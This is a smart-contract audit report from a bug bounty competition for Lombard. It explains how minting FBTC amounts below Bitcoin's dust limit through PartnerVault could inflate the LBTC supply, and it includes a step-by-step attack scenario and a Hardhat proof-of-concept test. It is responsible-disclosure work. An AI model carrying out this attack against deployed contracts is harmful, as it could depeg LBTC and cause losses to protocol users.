38335 [SC-Medium] attacker can exploit partnervault mint small amount to cause lbtc depeg or protocol insolvency

#38335 [SC-Medium] Attacker can exploit PartnerVault mint small amount to cause LBTC depeg or Protocol Insolvency

Submitted on Dec 31st 2024 at 11:21:55 UTC by @perseverance for Audit Comp | Lombard

  • Report ID: #38335

  • Report Type: Smart Contract

  • Report severity: Medium

  • Target: https://github.com/lombard-finance/evm-smart-contracts/blob/main/contracts/fbtc/PartnerVault.sol

  • Impacts:

    • Permanent freezing of funds

    • Protocol insolvency

Description

Description

Brief/Intro

User can permissionless (no permission) to use PartnertVault to mint LockedFBTC by using function

https://github.com/lombard-finance/evm-smart-contracts/blob/main/contracts/fbtc/PartnerVault.sol#L182-L184

function mint(
        uint256 amount
    ) external nonReentrant whenNotPaused returns (uint256) {

        uint256 amountLocked = $.lockedFbtc.mintLockedFbtcRequest(amount);
    }

By doing this, user will transfer the FBTC to the PartnerVault contract. FBTC then will be sent to LockedFBTC of FBTC contract to burn FBTC.

https://github.com/fbtc-com/fbtcX-contract/blob/main/src/LockedFBTC.sol#L117-L134

function mintLockedFbtcRequest(uint256 _amount)
        public
        onlyRole(MINTER_ROLE)
        whenNotPaused
        returns (uint256 realAmount)
    {
        require(_amount > 0, "Amount must be greater than zero.");
        require(fbtc.balanceOf(msg.sender) >= _amount, "Insufficient FBTC balance.");

        SafeERC20Upgradeable.safeTransferFrom(fbtc, msg.sender, address(this), _amount);
        (bytes32 _hash, Request memory _r) = IFireBridge(fbtcBridge).addBurnRequest(_amount);
        require(_hash != bytes32(uint256(0)), "Failed to create a valid burn request.");
        realAmount = _amount - _r.fee;
        require(realAmount > 0, "Real amount must be greater than zero after fee deduction.");
        _mint(msg.sender, realAmount);

        emit MintLockedFbtcRequest(msg.sender, realAmount, _r.fee);
    }

Then it will invoke addBurnRequest of FireBridge

https://github.com/fbtc-com/fbtc-contract/blob/main/contracts/FireBridge.sol#L287-L322

function addBurnRequest(
        uint256 _amount
    )
        external
        onlyActiveQualifiedUser
        whenNotPaused
        returns (bytes32 _hash, Request memory _r)
    {
        // Check request.
        require(_amount > 0, "Invalid amount");

        
        _r = Request({
            nonce: nonce(),
            op: Operation.Burn,
            srcChain: chain(),
            srcAddress: abi.encode(msg.sender),
            dstChain: MAIN_CHAIN,
            dstAddress: bytes(userInfo[msg.sender].withdrawalAddress),
            amount: _amount,
            fee: 0, // To be set in `_splitFeeAndUpdate`
            extra: "", // Unset until confirmed
            status: Status.Pending
        });

        
        // Burn tokens.
        FToken(fbtc).burn(msg.sender, _r.amount);
    }

To summarize the fund flow is below:


For User : 

FBTC => transfer to PartnerVault => Transfer to LockedFBTC => Burn in FireBridge 
Receive Mint LBTC 


For Lombard Protocol: 

Received LockedFBTC 
Receive Bitcoin from FBTC via withdrawalAddress

For FBTC Protocol: 

Burned FBTC
Transfer Bitcoin to Lombard Protocol's WithdrawalAddress

The vulnerability

Vulnerability Details

The bug here is ParnerVault does not check if the amount is below Dust Limit on Bitcoin. It does check if amount is not Zero.

This DustLimit is related to Dust that is defined in terms of dustRelayFee, which has units satoshis-per-kilobyte. If users pay more in fees than the value of the output to spend something, then Bitcoin consider it dust. See Reference

So if the amount after fee is less than the DustLimit on BitcoinBitcoin, then the output amount can not be spent.

https://github.com/bitcoin/bitcoin/blob/master/src/policy/policy.cpp#L28-L41

    // "Dust" is defined in terms of dustRelayFee,
    // which has units satoshis-per-kilobyte.
    // If you'd pay more in fees than the value of the output
    // to spend something, then we consider it dust.
    // A typical spendable non-segwit txout is 34 bytes big, and will
    // need a CTxIn of at least 148 bytes to spend:
    // so dust is a spendable txout less than
    // 182*dustRelayFee/1000 (in satoshis).
    // 546 satoshis at the default rate of 3000 sat/kvB.
    // A typical spendable segwit P2WPKH txout is 31 bytes big, and will
    // need a CTxIn of at least 67 bytes to spend:
    // so dust is a spendable txout less than
    // 98*dustRelayFee/1000 (in satoshis).
    // 294 satoshis at the default rate of 3000 sat/kvB.

So it depends on the type of user withdrawal address type.

For the new address types: P2WPKH, P2TR, P2WSH and the default rate fee is 3000 satoshi per kilobyte, then the DustLimit is 294 satoshi. But for old address types, the DustLimit can be 546 satoshi as commented above.

So as I don't know the type of Lombard PartnerVault withdrawal type of address, let's assume that it is one of the modern types: P2WPKH, P2TR, P2WSH so the Dust Level is 294 according to Bitcoin documentation. Let's take a value of 291 for example.

The FBTC Firebridge contract also does not check if amount is below Dust Limit. It is the responsibility of users to check that.

So if user input amount that less than Dust Limit on Bitcoin

There are 2 scenarios:

If FBTC system confirm the burn request, then the withdrawal output on Bitcoin cannot be spent.

Or if the FBTC does not confirm that burn request, then the FBTC is lost and Lombard will not receive any Bitcoin.

So now an attacker can exploit this to cause depeg or freeze of fund.

Attack scenario:

Step 1: Attacker repeats 10_000 times the call mint(291) in PartnerVault

User spent 10_000 * 291 FBTC = 2_910_000 FBTC

User received 2_910_000 LBTC

Step 2: Attacker using some exchange to convert LBTC to FBTC and repeat step 1. Suppose the fee is 5%

User received 2_764_500

user repeated the attack in step 1: user received 2_764_500 LBTC

Step 3: continued to do this attack

So with very small amount of capital and just gas to execute the attack, the attacker will cause the impact:

Lombard will mint LBTC. With each mint, the LBTC total_supply is increased

Lombard received LockedFBTC.

Lombard either will not receive Bitcoin or receive the Bitcoin that will not be spent.

Lombard cannot redeem this LockedFBTC token, because to redeem it, Lombard need to deposit into FBTC to initializeBurn in PartnerVault.

function initializeBurn(
        address recipient,
        uint256 amount,
        bytes32 depositTxId,
        uint256 outputIndex
    )

Impacts

About the severity assessment

Bug Severity: Critical

Impact category:

Attacker's capital: Small amount of FBTC and pay gas to execute the attack

So with repeated attacks, attacker can cause:

The amount of LBTC that was minted is much bigger than the total of Bitcoin that can be spent.

This caused impact:

Protocol Insolvecy

Depeg of LBTC

Freeze of funds on Bitcoin

Proof of Concept

Proof of concept

Steps to reproduce the bug:

Step 1: Attacker repeats 10_000 times the call mint(291) in PartnerVault

User spent 10_000 * 291 FBTC = 2_910_000 FBTC User received 2_910_000 LBTC

The test code to show this bug:

  it('should be able to mint LBTC on depositing FBTC', async function () {
            const mintTotal = 2910000;
            const mintAmount = 291;
            await fbtc.mint(signer1.address, mintTotal);
            await fbtc
                .connect(signer1)
                [
                    'approve(address,uint256)'
                ](await partnerVault.getAddress(), mintTotal);
            this.timeout(); 
            // loop to mint 10_000 times 
            for (let i = 0; i < 10000; i++) {
                expect(
                    await partnerVault.connect(signer1)['mint(uint256)'](mintAmount)
                )
                    .to.emit(fbtc, 'Transfer')
                    .withArgs(
                        signer1.address,
                        await partnerVault.getAddress(),
                        mintAmount
                    )
                    .to.emit(fbtc, 'Transfer')
                    .withArgs(
                        await partnerVault.getAddress(),
                        await lockedFbtc.getAddress(),
                        mintAmount
                    )
                    .to.emit(lbtc, 'Transfer')
                    .withArgs(ethers.ZeroAddress, signer1.address, mintAmount);
                
            }
          
            console.log('LBTC balance of signer1 ', await lbtc.balanceOf(signer1.address));
            
        }).timeout(10000000);   

Just copy the test case into test suite "FBTC locking" in evm-smart-contracts\test\PartnerVault.ts

describe('FBTC locking', function () {

To run the test

 yarn hardhat test

Test log:

 FBTC locking
        LBTC balance of signer1  2910000n
        ✔ should be able to mint LBTC on depositing FBTC (31508ms)

Explanation:

In this case, I call mint 10_000 times in the test case, but to exploit attacker can deploy an attack contract to repeat the mint() in the exploit contract. But the attack scenario is the same, so I use this test to show the attack.

Step 2: Attacker using some exchange to convert LBTC to FBTC and repeat step 1. Suppose the fee is 5%

Attacker received 2_764_500 Attacker repeated the attack in step 1: Attacker received 2_764_500 LBTC

Step 3: continued to do this attack

Was this helpful?